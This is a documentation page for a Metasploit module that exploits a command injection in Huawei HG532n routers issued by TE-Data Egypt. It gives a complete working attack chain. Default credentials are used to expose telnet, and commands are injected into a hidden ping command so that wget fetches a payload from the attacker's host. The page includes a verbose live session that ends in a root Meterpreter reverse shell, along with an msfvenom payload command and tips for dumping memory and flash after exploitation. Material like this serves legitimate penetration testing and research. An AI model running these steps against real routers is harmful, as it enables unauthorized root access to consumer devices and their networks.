Huawei HG532n Command Injection - Metasploit


This page contains detailed information about how to use the exploit/linux/http/huawei_hg532n_cmdinject metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Huawei HG532n Command Injection
Module: exploit/linux/http/huawei_hg532n_cmdinject
Source code: modules/exploits/linux/http/huawei_hg532n_cmdinject.rb
Disclosure date: 2017-04-15
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): mipsbe
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits a command injection vulnerability in the Huawei HG532n routers provided by TE-Data Egypt, leading to a root shell. The router's web interface has two kinds of logins, a "limited" user:user login given to all customers and an admin mode. The limited mode is used here to expose the router's telnet port to the outside world through NAT port-forwarding. With telnet now remotely accessible, the router's limited "ATP command line tool" (served over telnet) can be upgraded to a root shell through an injection into the ATP's hidden "ping" command.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/linux/http/huawei_hg532n_cmdinject
msf exploit(huawei_hg532n_cmdinject) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


HG532n Command Injection Exploit


Introduction


The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command injection exploit in the hidden ping command of their limited shell interface.

Affected hardware/software version strings:

   Manufacturer: Huawei Technologies Co., Ltd.
   Product Style: HG532n
   SN: B7J7SB9381703791
   IP: 192.168.1.1
   Hardware Version: HG532EAM1HG530ERRAMVER.B
   Software Version: V100R001C105B016 TEDATA

TE-Data, the incumbent ISP operator in Egypt, provided this router to customers by default. The web interface has two kinds of logins, a "limited" user:user login given to all customers, and an admin mode used by company's technical staff. For hosts within the ISP network, this web interface is remotely accessible.

The web interface's user mode provides very limited functionality – only WIFI passwords change and NAT port-forwarding. Nonetheless by port forwarding the router's own (filtered) telnet port, it becomes remotely accessible. All installed routers have a telnet password of admin:admin.

Due to the ISP's encrypted runtime router configuration [*] though, the telnet daemon does not provide a direct linux shell. Rather a very limited custom shell is provided instead: "ATP command line tool". The limited shell has a ping command which falls back to the system shell though (ping %s > /var/res_ping). We exploit that through command injection to gain Meterpreter root access.

[*] <X_ServiceManage TelnetEnable="1" ConsoleEnable="" ../> at /etc/defaultcfg.xml

Usage


With an attacker node that resides within the ISP network, do:

  • Set payload to linux/mipsbe/meterpreter_reverse_tcp

  • Set RHOST to the target router's IP

  • Set SRVHOST to your local machine's external IP. The module starts its own HTTP server; this is the IP the exploit will use to fetch the MIPSBE payload from, through an injected wget command. Make sure this address is accessible from outside.

  • Set SRVPORT to the desired local HTTP server port number. Make sure this port is accessible from outside.

  • Set LHOST to your machine's external IP address. A successful Reverse TCP payload will ring us back to this IP.

  • Set LPORT to an arbitrary port number that is accessible from outside networks. Metasploit will open a listener on that port and wait for the payload to connect back to us.

  • Set VERBOSE to true if you want to see much more verbose output (Detailed injected telnet commands output).

TE-Data firmware ships with the user:user login credentials by default. They offer limited functionality, but they are enough for our purposes. In case you want want to change these, set HttpUsername and HttpPassword appropriately.

Now everything should be ready to run the exploit. Enjoy your Meterpreter session :-)

Alternatively, you can avoid hosting the payload executable from within the module's own HTTP server and host it externally. To do so, first generate the payload ELF executable using msfvenom:

$ msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/meterpreter/reverse_tcp --out payload.elf LHOST='41.34.32.121' LPORT=4444

No encoder or badchars specified, outputting raw payload
Payload size: 212 bytes
Final size of elf file: 296 bytes
Saved as: payload.elf

Then host the payload.elf file on an external, direct-access, web server. Afterwards set DOWNHOST to the external server's IP address and DOWNFIILE to the payload's path on that server. Run the exploit afterwards.

Live Scenario (Verbose)


$ msfconsole
msf > use exploit/linux/http/huawei_hg532n_cmdinject

msf exploit(huawei_hg532n_cmdinject) > set RHOST 197.38.98.11
RHOST => 197.38.98.11

msf exploit(huawei_hg532n_cmdinject) > set SRVHOST 41.34.32.121
SRVHOST => 41.34.32.121

msf exploit(huawei_hg532n_cmdinject) > set LHOST 41.34.32.121
LHOST => 41.34.32.121

msf exploit(huawei_hg532n_cmdinject) > set VERBOSE true
VERBOSE => true

msf exploit(huawei_hg532n_cmdinject) > exploit
[*] Exploit running as background job.
msf exploit(huawei_hg532n_cmdinject) >
[-] Handler failed to bind to 41.34.32.121:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Validating router's HTTP server (197.38.98.11:80) signature
[+] Good. Router seems to be a vulnerable HG532n device
[+] Telnet port forwarding succeeded; exposted telnet port = 33552
[*] Connecting to just-exposed telnet port 33552
[+] Connection succeeded. Passing telnet credentials
[*] Received new reply token = '����
Password:'
[*] Received new reply token = 'Password:'
[+] Credentials passed; waiting for prompt 'HG520b>'
[*] Received new reply token = 'HG520b>'
[+] Prompt received. Telnet access fully granted!
[*] Starting web server; hostinig /MDGuEPiUDBRXD
[*] Using URL: http://0.0.0.0:8080/MDGuEPiUDBRXD
[*] Local IP: http://192.168.1.3:8080/MDGuEPiUDBRXD
[*] Runninig command on target: wget -g -v -l /tmp/zjtmztfz -r /MDGuEPiUDBRXD -P8080 41.34.32.121
[*] Received new reply token = 'p'
[*] Received new reply token = 'ing ?;wget${IFS}-g${IFS}-v${IFS}-l${IFS}/tmp/zjtmztfz${IFS}-r${IFS}/MDGuEPiUDBRXD${IFS}-P8080${IFS}41.34.32.121;true'
[*] Received new reply token = 'ping: bad address '?''
[+] HTTP server received request. Sending payload to victim
[*] Received new reply token = 'The IP is [41.34.32.121]'
[*] Received new reply token = 'Success
ping result:
HG520b>'
[+] Command executed succesfully
[*] Runninig command on target: chmod 777 /tmp/zjtmztfz
[*] Received new reply token = 'p'
[*] Received new reply token = 'ing ?;chmod${IFS}777${IFS}/tmp/zjtmztfz;trueping: bad address '?'

Success
ping result:
HG520b>'
[+] Command executed succesfully
[*] Runninig command on target: /tmp/zjtmztfz
[*] Received new reply token = 'p'
[*] Received new reply token = 'ing ?;/tmp/zjtmztfz&trueping: bad address '?'

Success
ping result:
HG520b>'
[+] Command executed succesfully
[*] Runninig command on target: rm /tmp/zjtmztfz
[*] Received new reply token = 'p'
[*] Received new reply token = 'ing ?;rm${IFS}/tmp/zjtmztfz;trueping: bad address '?'

Success
ping result:
HG520b>'
[+] Command executed succesfully
[*] Waiting for the payload to connect back ..
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 197.38.98.11:50097) at 2017-04-15 16:45:05 +0200
[+] Payload connected!
[*] Server stopped.

msf exploit(huawei_hg532n_cmdinject) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 192.168.1.1
OS           :  (Linux 2.6.21.5)
Architecture : mips
Meterpreter  : mipsbe/linux
meterpreter >

Post-exploitation


MIPS toolchain

Beside a basic meterpreter shell, you can compile your own C programs and run them on the device! Download the Sourcery CodeBench Lite MIPS toolchain then compile your programs in the following manner:

#!/bin/bash

TOOLCHAIN_ROOT=mips-2016.05
CROSS_COMPILE=$TOOLCHAIN_ROOT/bin/mips-linux-gnu-

${CROSS_COMPILE}gcc                                                     \
                --sysroot=${TOOLCHAIN_ROOT}/mips-linux-gnu/libc/uclibc/ \
                -Wl,-dynamic-linker,/lib/ld-uClibc.so.0                 \
                -static                                                 \
                program.c

${CROSS_COMPILE}strip -s a.out -o payload

Then call wget to download and run the generated payload above. Be careful of the device's own wget call conventions below.

A special wget command

Huawei crafted their own wget implementation inside the shipped version of busybox. It has the following syntax:

meterpreter > shell
Process 17951 created.
Channel 1 created.
wget -h
wget: invalid option -- h
BusyBox vv1.9.1 (2012-10-16 22:24:47 CST) multi-call binary

Usage: wget [OPTION]... HOST

wget download and upload a file via HTTP

Options:
    -g    Download
    -s    Upload
    -v    Verbose
    -u    Username to be used
    -p    Password to be used
    -l    Local file path
    -r    Remote file path
    -P    Port to be used, optional
    -B    Bind local ip, optional
    -A    Remote resolved ip, optional
    -b    Transfer start position
    -e    Transfer length
    -m    Max transfer size
    -c    Compress downloaded file

Rootfs image

Extract /dev/mtdblock[0123] images from the device to gain full raw access to the flash. Use binwalk on the extracted /dev/mtdblock3 contents to get a full squashfs rootfs image.

The most important files in the rootfs image are encrypted though. Nonetheless, by dumping /dev/mem contents and looking for the juicy bits, you will find all the necessary information needed ;-)

Note that even after configuration decryption, all the now-plaintext important configuration files store passwords in a SHA-256 hashed form. Be creative.

Go back to menu.

Msfconsole Usage


Here is how the linux/http/huawei_hg532n_cmdinject exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/huawei_hg532n_cmdinject

[*] Using configured payload linux/mipsbe/meterpreter_reverse_tcp
msf6 exploit(linux/http/huawei_hg532n_cmdinject) > show info

       Name: Huawei HG532n Command Injection
     Module: exploit/linux/http/huawei_hg532n_cmdinject
   Platform: Linux
       Arch: mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-15

Provided by:
  Ahmed S. Darwish <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Linux mipsbe Payload

Check supported:
  Yes

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  DOWNFILE                          no        Filename to download, (default: random)
  DOWNHOST                          no        Alternative host to request the MIPS payload from
  HttpPassword     user             no        Web-interface username password
  HttpUsername     user             no        Valid web-interface user-mode username
  ListenerTimeout  60               yes       Number of seconds to wait for the exploit to connect back
  Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT            80               yes       The target port (TCP)
  SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT          8080             yes       The local port to listen on.
  SSL              false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
  TelnetPassword   admin            no        Telnet username password
  TelnetUsername   admin            no        Valid router telnet username
  URIPATH                           no        The URI to use for this exploit (default is random)
  VHOST                             no        HTTP server virtual host

Payload information:

Description:
  This module exploits a command injection vulnerability in the Huawei 
  HG532n routers provided by TE-Data Egypt, leading to a root shell. 
  The router's web interface has two kinds of logins, a "limited" 
  user:user login given to all customers and an admin mode. The 
  limited mode is used here to expose the router's telnet port to the 
  outside world through NAT port-forwarding. With telnet now remotely 
  accessible, the router's limited "ATP command line tool" (served 
  over telnet) can be upgraded to a root shell through an injection 
  into the ATP's hidden "ping" command.

References:
  https://github.com/rapid7/metasploit-framework/pull/8245

Module Options


This is a complete list of options available in the linux/http/huawei_hg532n_cmdinject exploit:

msf6 exploit(linux/http/huawei_hg532n_cmdinject) > show options

Module options (exploit/linux/http/huawei_hg532n_cmdinject):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DOWNFILE                          no        Filename to download, (default: random)
   DOWNHOST                          no        Alternative host to request the MIPS payload from
   HttpPassword     user             no        Web-interface username password
   HttpUsername     user             no        Valid web-interface user-mode username
   ListenerTimeout  60               yes       Number of seconds to wait for the exploit to connect back
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT            80               yes       The target port (TCP)
   SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT          8080             yes       The local port to listen on.
   SSL              false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   TelnetPassword   admin            no        Telnet username password
   TelnetUsername   admin            no        Valid router telnet username
   URIPATH                           no        The URI to use for this exploit (default is random)
   VHOST                             no        HTTP server virtual host

Payload options (linux/mipsbe/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux mipsbe Payload

Advanced Options


Here is a complete list of advanced options supported by the linux/http/huawei_hg532n_cmdinject exploit:

msf6 exploit(linux/http/huawei_hg532n_cmdinject) > show advanced

Module advanced options (exploit/linux/http/huawei_hg532n_cmdinject):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module

Payload advanced options (linux/mipsbe/meterpreter_reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/huawei_hg532n_cmdinject module can exploit:

msf6 exploit(linux/http/huawei_hg532n_cmdinject) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux mipsbe Payload

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/huawei_hg532n_cmdinject exploit:

msf6 exploit(linux/http/huawei_hg532n_cmdinject) > show payloads

Compatible Payloads
===================

   #   Name                                            Disclosure Date  Rank    Check  Description
   -   ----                                            ---------------  ----    -----  -----------
   0   payload/generic/custom                                           normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                   normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/mipsbe/exec                                        normal  No     Linux Execute Command
   4   payload/linux/mipsbe/meterpreter/reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Stager
   5   payload/linux/mipsbe/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   6   payload/linux/mipsbe/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   7   payload/linux/mipsbe/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   8   payload/linux/mipsbe/reboot                                      normal  No     Linux Reboot
   9   payload/linux/mipsbe/shell/reverse_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   10  payload/linux/mipsbe/shell_bind_tcp                              normal  No     Linux Command Shell, Bind TCP Inline
   11  payload/linux/mipsbe/shell_reverse_tcp                           normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/huawei_hg532n_cmdinject exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/huawei_hg532n_cmdinject) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> - Could not connect to device


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Could not connect to device" error message:

99:	      res = send_request_raw(
100:	        'method' => 'GET',
101:	        'uri'    => '/'
102:	      )
103:	    rescue ::Rex::ConnectionError
104:	      print_error("#{rhost}:#{rport} - Could not connect to device")
105:	      return Exploit::CheckCode::Unknown
106:	    end
107:	
108:	    if res && res.code == 200 && res.to_s =~ httpd_fingerprint
109:	      return Exploit::CheckCode::Appears

Connection timed out


Here is a relevant code snippet related to the "Connection timed out" error message:

167:	      'vars_post' => {
168:	        'Username' => username,
169:	        'Password' => hash_password(password)
170:	      }
171:	    )
172:	    fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
173:	
174:	    unless res.code == 200
175:	      fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
176:	    end
177:	

Router returned unexpected HTTP code <RES.CODE>


Here is a relevant code snippet related to the "Router returned unexpected HTTP code <RES.CODE>" error message:

170:	      }
171:	    )
172:	    fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
173:	
174:	    unless res.code == 200
175:	      fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
176:	    end
177:	
178:	    return res.get_cookies if res.body.include? valid_login_marker
179:	
180:	    if res.body.include? invalid_login_marker

Invalid web interface credentials <USERNAME>:<PASSWORD>


Here is a relevant code snippet related to the "Invalid web interface credentials <USERNAME>:<PASSWORD>" error message:

176:	    end
177:	
178:	    return res.get_cookies if res.body.include? valid_login_marker
179:	
180:	    if res.body.include? invalid_login_marker
181:	      fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}")
182:	    else
183:	      fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received")
184:	    end
185:	  end
186:	

Neither valid or invalid login markers received


Here is a relevant code snippet related to the "Neither valid or invalid login markers received" error message:

178:	    return res.get_cookies if res.body.include? valid_login_marker
179:	
180:	    if res.body.include? invalid_login_marker
181:	      fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}")
182:	    else
183:	      fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received")
184:	    end
185:	  end
186:	
187:	  #
188:	  # The telnet port is filtered by default. Expose it to the outside world

Connection timed out


Here is a relevant code snippet related to the "Connection timed out" error message:

215:	        'x.InternalClient'         => "192.168.1.1",
216:	        'x.InternalPort'           => "23",
217:	        'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict
218:	      }
219:	    )
220:	    fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
221:	
222:	    unless res.code == 200
223:	      fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
224:	    end
225:	

Router returned unexpected HTTP code <RES.CODE>


Here is a relevant code snippet related to the "Router returned unexpected HTTP code <RES.CODE>" error message:

218:	      }
219:	    )
220:	    fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
221:	
222:	    unless res.code == 200
223:	      fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
224:	    end
225:	
226:	    if res.body.include? valid_port_export_marker
227:	      print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}"
228:	      return external_telnet_port

Port-forwarding failed: neither valid or invalid markers received


Here is a relevant code snippet related to the "Port-forwarding failed: neither valid or invalid markers received" error message:

227:	      print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}"
228:	      return external_telnet_port
229:	    end
230:	
231:	    if res.body.match? invalid_port_export_marker
232:	      fail_with(Failure::Unknown, "Router reported port-mapping error. " \
233:	                "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?")
234:	    end
235:	
236:	    fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received")
237:	  end

Could not get current forwarded ports from web interface


Here is a relevant code snippet related to the "Could not get current forwarded ports from web interface" error message:

249:	      'uri'       => portmapping_page,
250:	      'cookie'    => cookie
251:	    )
252:	
253:	    unless res && res.code == 200
254:	      print_warning "Could not get current forwarded ports from web interface"
255:	    end
256:	
257:	    # Collect existing port-forwarding keys; to be passed to the delete POST request
258:	    portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/
259:	    vars_post = {}

Could not re-hide exposed telnet port


Here is a relevant code snippet related to the "Could not re-hide exposed telnet port" error message:

269:	      'vars_get'  => { 'RequestFile' => portmapping_page },
270:	      'vars_post' => vars_post
271:	    )
272:	    return if res && res.code == 200
273:	
274:	    print_warning "Could not re-hide exposed telnet port"
275:	  end
276:	
277:	  #
278:	  # Cleanup our state, after any successful web login. Note: router refuses
279:	  # more than 3 concurrent logins from the same IP. It also forces a 1-minute

Could not logout from web interface. Future web logins may fail!


Here is a relevant code snippet related to the "Could not logout from web interface. Future web logins may fail!" error message:

288:	      'cookie'    => cookie,
289:	      'headers'   => { 'Referer' => "http://#{rhost}/html/main/logo.html" }
290:	    )
291:	    return if res && res.code == 200
292:	
293:	    print_warning "Could not logout from web interface. Future web logins may fail!"
294:	  end
295:	
296:	  #
297:	  # Don't leave web sessions idle for too long (> 1 second). It triggers the
298:	  # HTTP server's safety mechanisms and make it refuse further operations.

Expected first password banner not received


Here is a relevant code snippet related to the "Expected first password banner not received" error message:

341:	  def telnet_auth_negotiation(sock, timeout)
342:	    begin
343:	      read_until(sock, timeout, 'Password:')
344:	      sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA)
345:	    rescue ::Timeout::Error
346:	      fail_with(Failure::UnexpectedReply, "Expected first password banner not received")
347:	    end
348:	
349:	    begin
350:	      read_until(sock, timeout, 'Password:') # Router bug
351:	      sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)

Expected second password banner not received


Here is a relevant code snippet related to the "Expected second password banner not received" error message:

348:	
349:	    begin
350:	      read_until(sock, timeout, 'Password:') # Router bug
351:	      sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)
352:	    rescue ::Timeout::Error
353:	      fail_with(Failure::UnexpectedReply, "Expected second password banner not received")
354:	    end
355:	  end
356:	
357:	  def telnet_prompt_wait(error_regex = nil)
358:	    begin

Error expression <REGEX> included in reply


Here is a relevant code snippet related to the "Error expression <REGEX> included in reply" error message:

359:	      result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt)
360:	      if error_regex
361:	        error_regex = [error_regex] unless error_regex.is_a? Array
362:	        error_regex.each do |regex|
363:	          if result.match? regex
364:	            fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply")
365:	          end
366:	        end
367:	      end
368:	    rescue ::Timeout::Error
369:	      fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received")

Expected telnet prompt '<TELNET_PROMPT>' not received


Here is a relevant code snippet related to the "Expected telnet prompt '<TELNET_PROMPT>' not received" error message:

364:	            fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply")
365:	          end
366:	        end
367:	      end
368:	    rescue ::Timeout::Error
369:	      fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received")
370:	    end
371:	  end
372:	
373:	  #
374:	  # Basic telnet login. Due to mixins conflict, revert to using plain

Exposed telnet port unreachable


Here is a relevant code snippet related to the "Exposed telnet port unreachable" error message:

385:	      'PeerPort' => port,
386:	      'Context'  => { 'Msf' => framework, 'MsfExploit' => self },
387:	      'Timeout'  => @telnet_timeout
388:	    )
389:	    if @telnet_sock.nil?
390:	      fail_with(Failure::Unreachable, "Exposed telnet port unreachable")
391:	    end
392:	    add_socket(@telnet_sock)
393:	
394:	    print_good "Connection succeeded. Passing telnet credentials"
395:	    telnet_auth_negotiation(@telnet_sock, @telnet_timeout)

Will not start local web server, as DOWNHOST is already defined


Here is a relevant code snippet related to the "Will not start local web server, as DOWNHOST is already defined" error message:

435:	
436:	    downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8))
437:	    resource_uri = '/' + downfile
438:	
439:	    if datastore['DOWNHOST']
440:	      print_status "Will not start local web server, as DOWNHOST is already defined"
441:	    else
442:	      print_status("Starting web server; hosting #{resource_uri}")
443:	      start_service(
444:	        'ServerHost' => '0.0.0.0',
445:	        'Uri' => {

, etc.


Here is a relevant code snippet related to the ", etc." error message:

482:	    output_file = "/tmp/#{rand_text_alpha_lower(8)}"
483:	
484:	    # Check module documentation for the special wget syntax
